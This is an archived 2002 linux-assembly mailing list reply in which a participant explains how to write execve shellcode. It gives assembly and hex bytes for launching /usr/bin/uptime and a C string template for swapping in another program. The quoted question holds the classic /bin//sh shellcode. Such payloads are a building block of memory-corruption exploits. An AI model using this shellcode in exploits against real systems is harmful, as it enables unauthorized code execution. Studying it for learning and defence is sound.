From: Stephan Walter <stephan.walter@gmx.ch>
To: linux-assembly@vger.kernel.org
Subject: Re: shellcode
Date: Wed, 26 Jun 2002 19:08:58 +0200 [thread overview]
Message-ID: <20020626190858.41e57817.stephan.walter@gmx.ch> (raw)
In-Reply-To: <20020625161401.B27404@nietzsche>
Please write to the list. Others may also be interested in this. (Or
they may be able to give better answers than mine)
On Tue, 25 Jun 2002 16:14:01 -0500, xlp <xlp@emtel.net.co> wrote:
> hi, let's say i dont want to run /bin/sh, i want to run
> /usr/bin/uptime, How can i get all that functions in hexadecimal?
like this (no guarantee, I haven't tested this):
--------------- snip ----
BITS 32
xor eax,eax
push eax
push "time"
push "//up"
push "/bin"
push "/usr" ; you have to push the program name like this
mov ebx,esp
push eax
push ebx
push eax
push esp
push ebx
mov al,0x3b
push eax
int 0x80
--------------- snap ---
use "nasm -f bin -o test.bin test.asm" to compile it.
I compiled it for you:
0000000 31 c0 50 68 74 69 6d 65 68 2f 2f 75 70 68 2f 62
0000020 69 6e 68 2f 75 73 72 89 e3 50 53 50 54 53 b0 3b
0000040 50 cd 80
of course you'll have to remove the offset adresses and insert the
backslashes.
or use this snippet:
if you want to change the program, just change the 4 lines (read bottom
to top). but make shure that every string is exactly 4 bytes long and
add "\x68" between them.
char bsdshell[] = "\x31\xc0\x50\x68"
"time"
"\x68"
"//up"
"\x68"
"/bin"
"\x68"
"/usr"
"\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";
> why 25 bytes long?
> %cat 1.c ; cc 1.c ; ./a.out
> main(){
> char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
> "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
> "\xb0\x3b\x50\xcd\x80";
> printf("%d\n", sizeof(bsdshell));
> }
> 26
that's right, it is 26 bytes long, but the last byte is a zero-byte
("end of string") and isn't used for the code.
next prev parent reply other threads:[~2002-06-26 17:08 UTC|newest]
Thread overview: 6+ messages / expand[flat|nested] mbox.gz Atom feed top
2002-06-24 5:18 shellcode xlp
2002-06-24 6:01 ` shellcode Scott Lanning
2002-06-25 19:22 ` shellcode Stephan Walter
[not found] ` <20020625144651.A430@nietzsche>
2002-06-25 20:28 ` shellcode Stephan Walter
[not found] ` <20020625161401.B27404@nietzsche>
2002-06-26 17:08 ` Stephan Walter [this message]
2002-06-26 18:00 ` shellcode Brian Raiter
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20020626190858.41e57817.stephan.walter@gmx.ch \
--to=stephan.walter@gmx.ch \
--cc=linux-assembly@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.